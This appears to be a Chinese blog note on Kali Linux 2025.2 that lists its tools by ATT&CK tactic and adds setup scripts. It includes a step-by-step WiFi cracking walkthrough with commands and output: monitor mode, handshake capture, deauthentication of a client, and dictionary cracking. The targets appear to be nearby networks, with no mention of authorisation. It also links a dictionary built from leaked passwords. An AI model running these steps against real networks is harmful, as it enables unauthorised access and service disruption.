│ └── rsmangler # 密码变异工具:对基础密码列表进行变形(大小写、替换字符等),生成更贴近目标习惯的字典
│ └── wordlists # 密码字典集合工具:包含rockyou等常用字典,覆盖通用密码、专用领域词汇,用于各类暴力破解场景
│ ├─ Brute Force
│ └── hydra # 多协议暴力破解工具:针对SSH、FTP、HTTP等服务进行账号密码爆破,支持多线程与自定义Payload
│ └── medusa # 并行暴力破解工具:多线程攻击多种网络服务(SSH、SMB等),支持模块化扩展与会话恢复
│ └── ncrack # 网络认证破解工具:针对RDP、SSH等服务的密码爆破,支持速率控制与代理转发,提高破解效率
│ └── netexec # 网络暴力破解工具:批量测试账号密码在网络服务中的有效性,支持SMB、SSH等多种协议
│ └── patator # 多服务爆破工具:支持HTTP、FTP、SSH等协议的暴力破解,提供详细日志与进度跟踪
│ └── thc-pptp-bruter # PPTP VPN爆破工具:针对PPTP VPN服务的账号密码暴力破解,用于获取VPN访问权限
│ ├─ Password Cracking
│ └── hashcat # 高性能密码破解工具:支持CPU/GPU加速,破解MD5、SHA、NTLM等多种哈希类型,支持掩码攻击与字典攻击
│ └── john # 多功能密码破解工具:支持LM/NTLM、MD5等哈希破解,集成字典攻击与暴力攻击,可通过规则优化字典
│ └── ophcrack-cli # 命令行Windows密码破解工具:利用彩虹表破解LM/NTLM哈希,适用于脚本自动化破解
│ └── ophcrack # 图形化Windows密码破解工具:可视化操作界面,利用彩虹表快速破解Windows用户密码
│ ├─ Unsecured Credentials
│ ├─ WiFi Credential Access
│ └── aircrack-ng # WiFi密码破解工具:捕获WPA/WPA2握手包,通过字典攻击破解WiFi密钥,支持监控模式配置
│ └── bully # WPS PIN破解工具:针对WiFi路由器WPS功能的PIN码暴力破解,获取WiFi密钥,支持断点续传
│ └── fern-wifi-cracker # 图形化WiFi凭证工具:自动扫描WiFi网络,支持WPS攻击与握手包捕获,集成字典破解功能
│ └── pixiewps # WPS漏洞利用工具:利用WPS协议Pixie Dust缺陷,无需暴力破解即可获取PIN码,快速获取WiFi密码
│ └── reaver # WPS攻击工具:通过暴力测试WPS PIN码获取WiFi密钥,支持自定义攻击速率与重试策略
│ └── wifite # 自动化WiFi凭证工具:自动检测目标WiFi、选择最优攻击方式,捕获握手包并尝试破解,简化流程
│ ├─ Keylogger
│ ├─ VoIP Credential Access
│ ├─ NFC
├─ Discovery
│ └── amass # 网络资产发现工具:通过子域名枚举扩展目标网络范围,识别关联域名与IP,构建网络资产图谱
│ └── arping # ARP网络探测工具:发送ARP请求发现局域网内活跃主机,获取IP与MAC地址对应关系,用于内网映射
│ └── enum4linux # SMB信息枚举工具:获取Windows域信息、用户列表、共享资源等,用于Windows网络环境侦察
│ └── fierce # DNS网络范围工具:通过DNS查询发现目标子域名与网络CIDR范围,辅助确定目标网络边界
│ └── hping3 # 高级网络探测工具:构造自定义TCP/UDP/ICMP数据包,测试防火墙规则、端口状态与服务响应
│ └── masscan # 大规模端口扫描工具:支持每秒数百万端口扫描,快速发现大范围网络中的开放服务与活跃主机
│ └── netdiscover # 局域网主机发现工具:基于ARP扫描识别内网活跃设备,获取IP、MAC与主机名,用于内网测绘
│ └── nmap # 网络服务发现工具:扫描端口开放状态,识别服务版本与操作系统,构建目标网络服务清单
│ └── tcpdump # 命令行网络抓包工具:捕获并保存网络数据包,用于分析网络流量、协议交互与异常通信
│ └── wireshark # 图形化网络协议分析工具:捕获并解析多种网络协议数据包,可视化展示流量特征与异常行为
│ └── zenmap # 网络发现可视化工具:nmap图形化界面,展示扫描结果中的主机、端口与服务关系,辅助网络映射
│ ├─ Network Service Discovery
│ └── amass # 服务域名发现工具:通过子域名枚举识别关联服务的域名资产,扩展网络服务探测范围
│ └── ike-scan # IPsec服务探测工具:扫描支持IKE协议的VPN服务,获取设备类型与配置信息
│ └── masscan # 高速服务发现工具:大规模端口扫描快速定位开放服务,适用于大型网络服务探测
│ └── nmap # 服务版本识别工具:通过端口扫描与指纹匹配,识别服务类型、版本与配置信息
│ └── sslscan # SSL/TLS服务扫描工具:检测HTTPS等加密服务的协议版本、 cipher 套件与证书信息
│ └── sslyze # SSL安全评估工具:分析SSL/TLS服务的配置缺陷(如Heartbleed、POODLE),生成安全报告
│ └── unicornscan # 异步服务探测工具:高效扫描网络端口与服务,支持并发探测与结果快速输出
│ └── zenmap # 服务发现可视化工具:展示网络服务分布与关联关系,辅助服务漏洞评估
│ ├─ Network Sniffing
│ └── arpspoof # ARP欺骗工具:发送伪造ARP包实施中间人攻击,拦截目标网络流量,用于数据捕获与篡改
│ └── dnschef # DNS投毒工具:伪造DNS响应劫持域名解析,将目标引导至恶意IP,辅助流量拦截
│ └── dsniff # 网络凭证嗅探工具集:捕获FTP、HTTP、SMB等协议的账号密码,支持多种网络场景
│ └── netsniff-ng # 高性能流量捕获工具:实时捕获网络数据包,支持流量过滤与保存,适用于高带宽环境
│ └── scapy # 网络包操作工具:构造、发送与捕获自定义网络数据包,用于协议分析与攻击测试
│ └── tcpdump # 命令行流量捕获工具:通过过滤规则捕获特定协议或端口流量,保存为pcap文件供后续分析
│ └── wireshark # 图形化流量分析工具:可视化解析捕获的数据包,提取敏感信息(如密码、会话ID)与异常流量
│ ├─ Remote System Discovery
│ └── arping # 远程主机探测工具:通过ARP请求检测远程主机是否在线,获取MAC地址,适用于局域网发现
│ └── atk6-thcping6 # IPv6远程探测工具:通过TCP SYN包探测IPv6网络中的远程系统,判断主机存活状态
│ └── fierce # DNS远程范围工具:通过DNS查询推断远程系统所在网络范围,辅助确定目标边界
│ └── fping # 批量主机探测工具:同时向多个IP发送ICMP请求,快速检测远程系统是否在线
│ └── hping3 # 自定义远程探测工具:发送TCP/UDP/ICMP包探测远程系统端口与服务响应,规避简单防火墙
│ ├─ Account Discovery
│ └── smtp-user-enum # SMTP账号枚举工具:通过VRFY/EXPN命令检测SMTP服务器上的有效邮箱账号
│ ├─ Network Share Discovery
│ └── enum4linux # SMB共享枚举工具:发现Windows系统的网络共享资源,检测访问权限与共享内容
│ └── nbtscan # NetBIOS共享探测工具:扫描局域网内的NetBIOS名称与共享资源,识别可访问共享
│ └── netexec # 网络共享枚举工具:通过SMB协议枚举远程共享资源,检测读写权限与敏感文件
│ └── smbclient # SMB客户端工具:连接远程SMB共享,浏览文件与执行操作,用于共享资源探测
│ └── smbmap # SMB共享映射工具:扫描并列出远程SMB共享资源,显示权限信息与文件列表
│ ├─ Process Discovery
│ ├─ System Network Configuration Discovery
│ └── netdiscover # 网络配置探测工具:通过ARP扫描识别内网设备,辅助分析目标系统网络拓扑与配置
│ └── netmask # 网络掩码计算工具:计算IP地址对应的子网掩码、网络地址与广播地址,辅助网络分析
│ └── tcpreplay # 流量重放工具:重放pcap文件中的网络流量,测试系统对特定流量的响应与配置
│ └── wafw00f # WAF检测工具:识别目标Web服务器是否部署WAF及WAF类型,辅助制定绕过策略
│ ├─ Databases
│ └── impacket-mssqlclient # MSSQL数据库连接工具:连接远程MSSQL数据库,执行SQL命令与查询,用于数据库侦察
│ └── mysql # MySQL客户端工具:连接MySQL数据库,执行查询与管理操作,用于数据库信息收集
│ └── sqlitebrowser # SQLite数据库浏览工具:打开并查看SQLite数据库文件结构与内容,用于本地数据库分析
│ ├─ SNMP
│ └── onesixtyone # SNMP快速扫描工具:扫描网络中支持SNMP的设备,尝试使用默认社区名获取信息
│ └── snmp-check # SNMP信息枚举工具:从SNMP服务获取设备配置、用户列表、接口信息等敏感数据
│ ├─ SMTP
│ └── smtp-user-enum # SMTP用户枚举工具:通过SMTP命令检测有效邮箱账号,辅助邮件攻击目标确定
│ └── swaks # SMTP测试工具:发送自定义邮件测试SMTP服务配置,检测开放中继与邮件头伪造漏洞
│ ├─ Cisco Tools
│ ├─ Active Directory
│ └── bloodhound-python # AD信息收集工具:从Active Directory提取用户、组、权限关系数据,生成可视化图谱辅助权限分析
│ ├─ VoIP
│ └── voiphopper # VoIP设备扫描工具:发现网络中的VoIP设备与服务,识别SIP端点与配置信息
├─ Lateral Movement
│ └── evil-winrm # WinRM横向移动工具:通过WinRM协议远程连接Windows主机,执行命令与传输文件
│ └── impacket-psexec # SMB远程执行工具:通过SMB协议在远程Windows系统执行命令,获取交互式shell
│ └── impacket-smbexec # SMB命令执行工具:利用SMB服务在远程系统执行命令,无需创建服务即可获取输出
│ └── netexec # 网络横向执行工具:通过SMB、SSH等协议在多台主机上批量执行命令,实现横向移动
│ ├─ Pass-the-Hash
│ └── evil-winrm # 哈希传递横向工具:使用NTLM哈希通过WinRM协议连接远程主机,实现无密码横向移动
│ └── impacket-scripts # 哈希传递脚本集:通过psexec、wmiexec等脚本利用哈希在网络中横向移动
│ └── mimikatz # 哈希传递执行工具:加载NTLM哈希模拟用户身份,访问远程资源或执行命令
│ └── netexec # 哈希横向工具:支持使用NTLM哈希在多台主机上执行命令,批量横向移动
│ └── passing-the-hash # 哈希传递方法集:提供工具与脚本在Windows/Linux中利用哈希实现横向访问
│ └── responder # 哈希捕获工具:通过投毒获取目标哈希,为哈希传递横向移动提供凭证
│ └── smbmap # 哈希共享访问工具:使用NTLM哈希访问远程SMB共享,枚举资源辅助横向移动
│ └── xfreerdp3 # 哈希RDP连接工具:通过RDP协议使用哈希连接远程桌面,实现可视化横向移动
├─ Collection
│ └── ettercap-pkexec # 图形化中间人工具:实施ARP欺骗拦截网络流量,捕获敏感信息(如密码、Cookie)
│ └── mitmproxy # 交互式HTTP代理工具:拦截、修改HTTP/HTTPS流量,提取表单数据、会话令牌等信息
│ └── ssldump # SSL/TLS流量解密工具:捕获并解析SSL/TLS加密流量,提取证书与加密数据(需密钥)
│ └── sslsplit # SSL中间人工具:通过伪造证书实施SSL拦截,解密HTTPS流量获取敏感信息
├─ Command and Control
│ └── metasploit-framework# C2通信框架:通过exploit建立 Meterpreter 会话,支持命令执行、文件传输等C2操作
│ └── powershell-empire # PowerShell C2框架:利用PowerShell建立隐蔽通信通道,执行后渗透命令与持久化操作
│ └── starkiller # Empire图形化界面:可视化管理Empire C2会话,简化命令发送与结果查看
│ ├─ Application Layer Protocol
│ └── cadaver # WebDAV C2工具:通过WebDAV协议传输数据与执行命令,利用合法协议隐藏C2通信
│ └── evil-winrm # WinRM C2工具:通过Windows原生WinRM协议维持C2会话,规避异常流量检测
│ └── impacket-scripts # 应用层C2脚本:利用SMB、MSSQL等应用层协议传输命令与数据
│ └── netexec # 多协议C2工具:通过应用层协议在多台主机上执行命令,维持批量C2会话
│ └── smbclient # SMB C2工具:利用SMB共享传输数据,将C2流量隐藏在合法文件共享中
│ └── minicom # 串行C2工具:通过串口建立C2通信,适用于物理接入场景的命令控制
│ └── xfreerdp3 # RDP C2工具:通过远程桌面协议实现可视化C2控制,执行图形化操作
│ ├─ Non-Application Layer Protocol
│ └── dbd # 加密后门工具:使用非应用层协议(如自定义TCP)建立加密C2通道,规避协议检测
│ └── netcat # 基础C2工具:通过TCP/UDP建立原始网络连接,传输命令与数据,实现简单C2
│ └── sbd # 加密版netcat:在netcat基础上添加加密功能,通过非应用层协议传输敏感数据
│ └── socat # 多功能C2转发工具:支持TCP/UDP/SSL等协议转发,构建复杂C2通信链路
│ ├─ Protocol Tunneling
│ └── dns2tcpc # DNS隧道客户端:将数据封装在DNS查询中传输,突破防火墙限制建立C2通道
│ └── dns2tcpd # DNS隧道服务器:接收DNS隧道客户端的查询请求,解析封装数据还原通信内容
│ └── iodine-client-start # IPv6-over-DNS隧道客户端:通过DNS协议建立IPv6隧道,实现跨网络通信
│ └── miredo # Teredo隧道工具:在IPv4网络中通过Teredo协议传输IPv6流量,绕过IPv4限制
│ └── proxychains4 # 代理链隧道工具:通过多层代理(SOCKS/HTTP)转发流量,隐藏真实C2服务器地址
│ └── proxytunnel # HTTP代理隧道工具:通过HTTP代理建立TCP隧道,将其他协议流量封装在HTTP中
│ └── ptunnel # ICMP隧道工具:将TCP数据封装在ICMP ping包中传输,利用ping流量隐藏C2通信
│ └── pwnat # NAT穿透隧道工具:无需公网IP即可建立点对点隧道,实现跨NAT网络通信
│ └── sslh # 端口复用隧道工具:在同一端口转发SSL与SSH等流量,隐藏特殊服务端口
│ └── stunnel4 # SSL加密隧道工具:为非加密协议(如TCP)添加SSL层,建立加密隧道通信
│ └── udptunnel # UDP隧道工具:通过UDP协议封装数据建立隧道,适用于对延迟敏感的C2场景
├─ Exfiltration
│ └── impacket-smbserver # SMB渗出服务器工具:在本地搭建SMB服务器,接收目标系统通过SMB协议渗出的文件与数据
│ └── netcat # 基础数据渗出工具:通过TCP/UDP连接将目标数据传输至控制端,实现简单数据渗出
├─ Impact
│ └── scapy # 网络攻击构造工具:构造恶意网络数据包(如DoS攻击包),对目标系统或网络造成影响
├─ Forensics
│ └── autopsy # 数字取证分析平台:加载磁盘镜像文件,分析文件系统、恢复删除文件,生成取证报告
│ └── binwalk # 固件取证分析工具:提取固件中的文件系统与隐藏数据,检测压缩包、加密内容
│ └── bulk_extractor # 批量数据提取工具:从磁盘或内存镜像中提取电子邮件、URL、哈希等敏感信息
│ └── hashdeep # 哈希校验工具:计算文件哈希值并比对,验证数据完整性,识别被篡改文件
│ ├─ Digital Forensics
│ ├─ Forensic Carving Tools
│ └── magicrescue # 文件特征恢复工具:基于文件头/尾特征从原始数据中恢复删除或损坏的文件
│ └── scalpel # 高效文件雕刻工具:通过配置文件定义文件特征,批量从磁盘中恢复丢失文件
│ └── scrounge-ntfs # NTFS文件恢复工具:从损坏的NTFS分区中恢复文件与目录结构,支持碎片文件
│ ├─ Forensic Imaging Tools
│ └── guymager # 取证级磁盘镜像工具:创建磁盘扇区级镜像,保留原始数据与元信息,支持压缩与校验
│ ├─ PDF Forensics Tools
│ └── pdf-parser # PDF结构分析工具:解析PDF文件的交叉引用表、对象结构,检测隐藏内容与恶意代码
│ └── pdfid # PDF特征识别工具:扫描PDF文件中的关键词(如JS、Action),识别潜在恶意PDF
│ ├─ Sleuth Kit Suite
│ └── autopsy # 图形化取证分析工具:Sleuth Kit的GUI前端,集成文件分析、数据恢复功能
│ └── blkcalc # 磁盘块地址计算工具:转换磁盘块的物理地址与逻辑地址,辅助定位数据位置
│ └── blkcat # 磁盘块内容提取工具:读取指定磁盘块的原始数据内容,用于分析隐藏信息
│ └── blkls # 磁盘块列表工具:列出磁盘中已使用与空闲块的信息,识别潜在数据区域
│ └── blkstat # 磁盘块状态工具:显示磁盘块的元数据(如大小、类型),辅助块级别分析
│ └── ffind # 文件特征查找工具:根据文件名、大小等特征在磁盘镜像中搜索文件
│ └── fls # 文件列表工具:列出目录中的文件(含已删除文件),显示文件名与inode信息
│ └── fsstat # 文件系统状态工具:显示文件系统的总体信息(如类型、大小、空闲空间)
│ └── hfind # 哈希匹配工具:通过哈希值在磁盘镜像中定位对应的文件或数据块
│ └── icat # 文件内容提取工具:从磁盘镜像中提取指定inode对应的文件内容,支持恢复删除文件
│ └── ifind # inode查找工具:根据inode号定位文件在磁盘中的位置,辅助文件恢复
│ └── ils # inode列表工具:列出目录对应的inode信息,包括已删除文件的inode
│ └── img_cat # 镜像内容查看工具:读取磁盘镜像中的原始数据,按偏移量查看内容
│ └── img_stat # 镜像状态工具:显示磁盘镜像的基本信息(如大小、分区结构、扇区大小)
│ └── istat # inode详细信息工具:显示inode的元数据(如创建时间、权限、链接数)
│ └── jcat # 日志文件提取工具:从日志文件中提取特定记录,用于事件时间线分析
│ └── jls # 日志文件列表工具:列出日志文件中的记录条目与元数据
│ └── mactime # 时间线生成工具:根据文件的MAC(修改/访问/创建)时间创建事件时间线
│ └── mmcat # 分区内容提取工具:从磁盘分区中提取指定范围的原始数据,用于分析分区结构
│ └── mmls # 分区列表工具:显示磁盘的分区表结构,识别主分区、扩展分区与隐藏分区
│ └── mmstat # 分区状态工具:显示分区的详细信息(如类型、大小、偏移量)
│ └── sigfind # 特征字符串查找工具:在磁盘中搜索特定字节序列,定位敏感数据或恶意代码
│ └── sorter # 文件分类工具:根据文件类型(如文档、图片)对提取的文件进行自动分类
│ └── srch_strings # 字符串搜索工具:在文件或磁盘块中提取可打印字符串,发现敏感信息
│ └── tsk_comparedir # 目录比较工具:比对两个目录的文件差异,识别新增、删除或修改的文件
│ └── tsk_gettimes # 文件时间提取工具:提取文件的各类时间戳(如访问、修改时间),辅助时间线分析
│ └── tsk_loaddb # 取证数据库工具:将文件系统信息导入数据库,便于高效查询与分析
│ └── tsk_recover # 文件恢复工具:从磁盘镜像中恢复已删除的文件,支持多种文件系统
├─ Services and Other Tools
│ └── PowerShell # 跨平台脚本工具:执行PowerShell脚本进行系统管理与渗透测试操作,支持自动化任务
│ └── Kali Tweaks # Kali系统配置工具:调整Kali Linux的软件源、工具集与系统设置,优化环境
│ └── Root Terminal Emulator # 特权终端工具:提供root权限的命令行界面,执行需要管理员权限的操作
│ ├─ Reporting Tools
│ └── cherrytree # 渗透测试笔记工具:整理测试过程、漏洞信息与证据,生成结构化报告
│ └── cutycapt # 网页截图工具:捕获网页完整截图,用于记录漏洞场景与攻击过程
│ └── faraday # 渗透测试协作平台:管理漏洞数据、分配任务,自动生成合规测试报告
│ └── maltego (installer)# 情报可视化工具:安装后用于构建实体关系图谱,辅助报告中的情报分析
│ └── pipal # 密码分析工具:统计密码字典的特征(如长度、字符类型),生成密码安全性报告
│ └── recordmydesktop # 桌面录制工具:记录渗透测试操作过程,生成视频用于报告演示或复盘
│ ├─ Laboratories
│ ├─ System Services
│ └── faraday-stop # Faraday服务管理工具:停止Faraday渗透测试平台的后台服务
│ └── faraday # Faraday服务启动工具:启动Faraday平台服务,支持漏洞管理与协作
│ └── gophish-stop # Gophish服务管理工具:停止Gophish钓鱼模拟平台的运行服务
│ └── gophish # Gophish服务启动工具:启动Gophish平台,开展钓鱼攻击模拟测试
│ ├─ Kali & Offsec Links
│ └── Exploit Database # 漏洞利用资源链接:访问Exploit-DB获取最新漏洞exp、POC与技术文档
│ └── Kali Bugs # Kali问题反馈链接:提交Kali Linux系统的漏洞与功能改进建议
│ └── Kali Docs # Kali官方文档链接:查阅Kali工具使用指南、配置教程与最佳实践
│ └── Kali Forums # Kali用户社区链接:参与Kali技术讨论、问题求助与经验分享
│ └── NetHunter # 移动渗透平台链接:获取Kali NetHunter的安装包与移动渗透资源
│ └── Kali Tools # Kali工具目录链接:浏览Kali内置工具的分类、功能说明与使用示例
│ └── Kali Linux # Kali官方网站链接:获取Kali系统镜像、更新日志与项目资讯
│ └── OffSec Training # 渗透测试培训链接:访问OffSec官方培训课程与认证信息(如OSCP)
│ └── VulnHub # 漏洞靶场链接:下载虚拟靶场环境,用于渗透测试技能练习与验证
更详尽的完整工具的介绍还是参考 Kali和渗透测试 # Kali工具集(对应了2020年版本的Kali Linux)。
官方目录和功能说明
所有工具集索引:https://www.kali.org/tools/all-tools/
所有工具的默认的密码凭证:https://www.kali.org/docs/introduction/default-credentials/
WiFi Crack
概述
方法步骤和工具、数据,同之前无任何改变,仍然参见:Kali手记 和 Kali和渗透测试。
此处仅记录一些更新了的脚本文件等。
初始化脚本 init_preparing_matters.sh
主要更新是去除了设置一些命令别名、安装中文字体等冗余内容,因为新版本系统已经内置支持。
#!/bin/sh# --------------------------
# Step 1: Add useful aliases (no duplicates)
# --------------------------
echo "Setting up useful aliases..."add_alias() {local alias_cmd="$1"if ! grep -qxF "$alias_cmd" ~/.bashrc; thenecho "$alias_cmd" >> ~/.bashrcecho "已添加命令别名(如需生效还需要手动执行该命令): $alias_cmd"elseecho "Alias already exists: $alias_cmd"fi
}#add_alias "alias ll='ls -l -h'"
#add_alias "alias grep='grep --color'"
add_alias "alias cdcrack='cd /media/kali/fat32-data/crack-workspace'". ~/.bashrc # Reload aliases, NOT take effect in current Terminal
echo "Aliases updated successfully."# --------------------------
# Final steps & Settings Guidance
# --------------------------# Open Xfce settings (default for Kali)
echo "Opening Xfce system settings..."
xfce4-settings-manager & # Run in background to not block script completion# Clear prompt for touchpad configuration
echo -e "\n请在配置中继续完成如下设置"
echo " - 1. 在 'Mouse and Touchpad' 中反转滚动方向,并开启 'Tap touchpad to click'。"
echo " - 2. 在 'power manager' 中将休眠时间,屏保时间等都设置为never,将合上笔记本盖的动作设置为仅关闭屏幕。"echo -e "\nOperation completed!"
简要操作指令(纯文本形式,方便在终端下预览使用)
simpleCommandList.txt
文件,仅更新了下目录,几乎没有变动:
# 查看可以用于监听的网卡,此处为wlan0
kali@kali:~$ sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 8260 (rev 3a)# 让网卡wlan0进入监听模式
# 结果里的 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon 表示成功开启监听模式,名称被重命名为wlan0mon
kali@kali:~$ sudo airmon-ng start wlan0
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed modePID Name1200 NetworkManager1286 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 8260 (rev 3a)(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)(mac80211 station mode vif disabled for [phy0]wlan0)# 查看wlan0mon当前的wifi信息
# PWR表示信号强弱,绝对值越小则信号越强
# 该结果信息最好保存一份,以供之后查询wifi的BSSID等信息
kali@kali:~$ sudo airodump-ng wlan0mon
CH 8 ][ Elapsed: 1 min ][ 2020-02-13 23:34BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID70:C7:F2:12:65:CC -49 49 0 0 3 130 WPA2 CCMP PSK CMCC-wz7472:FE:A1:BC:62:0E -49 46 0 0 10 130 WPA2 CCMP PSK CU_RWXS74:05:A5:BC:04:09 -49 44 2 0 11 270 WPA2 CCMP PSK TP-LINK_0409EC:F8:EB:E0:37:75 -64 10 2 0 3 130 WPA2 CCMP PSK st170750:64:2B:E7:AE:B7 -64 1 26 0 2 130 WPA2 CCMP PSK Xiaomi_AEB640:B0:76:AE:60:98 -69 40 4 0 10 195 WPA2 CCMP PSK maolver04:D7:A5:5E:E6:84 -70 10 0 0 1 270 WPA2 CCMP PSK xiangyu1803# 选取一个wifi进行攻击,其参数均可以从上步信息中获取
# --bssid 是wifi的BSSID
# -c11 是wifi的频道
# -w 是数据记录的位置,最好是独立的数据硬盘分区下;也可以是主目录下,但数据量大容易系统死机
# -w 参数里最后的部分“TP-LINK_0409”是生成的数据文件的前缀,可以设置成和wifi名称相关的信息,便于识别
# 结果里的 STATION 列为连接wifi的客户端的BSSID
# 当结果的头部出现类似“WPA handshake: 74:05:A5:BC:04:09”的字样时,说明找到了握手密钥。此时可以Ctrl+C来停止执行。
kali@kali:~$ sudo airodump-ng -c11 --bssid 74:05:A5:BC:04:09 -w ./20230123/TP-LINK_0409 wlan0monCH 11 ][ Elapsed: 2 mins ][ 2020-02-13 23:40 ][ WPA handshake: 74:05:A5:BC:04:09BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID74:05:A5:BC:04:09 -51 100 1552 114 4 11 270 WPA2 CCMP PSK TP-LINK_0409BSSID STATION PWR Rate Lost Frames Probe74:05:A5:BC:04:09 48:A5:E7:01:C3:12 -62 0e-24e 1 486# 新开一个窗口,对上面的wifi的客户端进行deauth攻击,使其断开连接重连wifi,从而获取握手密钥
# 该命令参数均可以从上步中获取
# -0 表示进行deauth攻击,后面跟的是攻击次数
# -a 是wifi的BSSID
# -c 是客户端的BSSID
kali@kali:~$ sudo aireplay-ng -0 2 -a 74:05:A5:BC:04:09 -c 48:A5:E7:01:C3:12 wlan0mon
02:14:04 Waiting for beacon frame (BSSID: 74:05:A5:BC:04:09) on channel 11
02:14:05 Sending 64 directed DeAuth (code 7). STMAC: [48:A5:E7:01:C3:12] [41|70 ACKs]
02:14:05 Sending 64 directed DeAuth (code 7). STMAC: [48:A5:E7:01:C3:12] [30|50 ACKs]# 对握手密钥进行暴力字典匹配
# -a2 表示是对WPA类型密钥进行crack
# -b 是wifi的BSSID
# -w 是字典文件的位置
# 最后跟的参数是密钥文件,可以使用*匹配多个
# 当结果里的“Current passphrase: 13911190275”变成“KEY FOUND! [ REAL-PASSWORD ]”时,说明找到了密码。
kali@kali:~$ sudo aircrack-ng -a2 -b 74:05:A5:BC:04:09 -w ./passwordDict-Reversed.txt ./20230123/TP-LINK_0409-*.cap
Opening /media/kali/fat32-data/crack-workspace/20230123/TP-LINK_0409-01.cap
Read 1963 packets.
1 potential targetsAircrack-ng 1.5.2[01:28:49] 55622808/387867998 keys tested (10431.94 k/s)Time left: 8 hours, 50 minutes, 51 seconds 14.34%Current passphrase: 13911190275Master Key : 8A C3 0D 42 3B 95 7D 30 FA F4 91 13 17 6C 65 FF38 9E E4 26 1F B6 54 5C 60 0D 5B 20 2E D8 6E 15Transient Key : 94 6F 2A B9 06 41 06 8E 41 8A AA 3B 7A 0D 1C 8F6D EE 9A 08 A1 6C 64 BF 67 BB 84 E3 36 A2 4C 3AAC 85 E2 47 E8 89 EA 58 20 7E 1D 6A 12 39 EC 3578 36 BF 82 9B 22 5F B1 22 07 42 69 7B 13 41 7BEAPOL HMAC : 98 F0 66 E4 B5 68 B1 30 21 0C B1 82 F1 A2 5D 09
整合的密码学词典
内容没变,只是将以前的多个词典整合在一个文件(解压后需4GB空间),包含了WPA密码合集、之前各网站泄露密码合集(已去除个人信息)等去重内容。
https://download.csdn.net/download/zhiyuan411/92034525
附录
提取菜单结构的脚本
#!/bin/bash
# 1. 使用awk解析XML菜单结构(支持空格和嵌套)
parse_xml_menu() {awk -v indent="$1" 'BEGIN { depth=0; in_menu=0;current_name=""; # 定义菜单缩进符号symbols[1]="├─ "; symbols[2]="│ ├─ "; symbols[3]="│ └── "}# 检测<Menu>标签开闭/<Menu>/ { depth++; in_menu=1;# 重置当前菜单变量current_name=""; current_dir=""; }/<\/Menu>/ { # 当检测到闭合标签时输出菜单项depth--; in_menu=0;# 重置当前菜单变量current_name=""; current_dir="";
}# 提取菜单名称/<Name>/ {if (in_menu) {split($0, parts, /[<>]/);current_name = parts[3];if (current_name != "") {# 根据深度选择缩进格式if (depth == 2) prefix = symbols[1]else if (depth == 3) prefix = symbols[2]else if (depth >= 4) prefix = symbols[3]printf "%s%s%s\n", indent, prefix, current_name}}}# 提取目录标识符(用于关联工具)/<Directory>/ {if (in_menu) {split($0, parts, /[<>]/);current_dir = parts[3];sub(/\.directory$/, "", current_dir); # 移除.directory后缀}}# 关联工具到当前菜单current_dir != "" && /<Include>/ {# 查找关联工具cmd = sprintf("grep -l \"Categories=.*%s\" /usr/share/applications/*.desktop | xargs grep -h \"^Name=\" | cut -d= -f2", current_dir);while ((cmd | getline tool) > 0) {printf "%s%s%s\n", indent, symbols[3], tool}close(cmd)}' /etc/xdg/menus/applications-merged/kali-applications.menu
}# 2. 主程序
echo "Kali Linux 2025.2 MITRE ATT&CK菜单结构"
# 跳过根菜单"Applications",从顶层战术开始
parse_xml_menu ""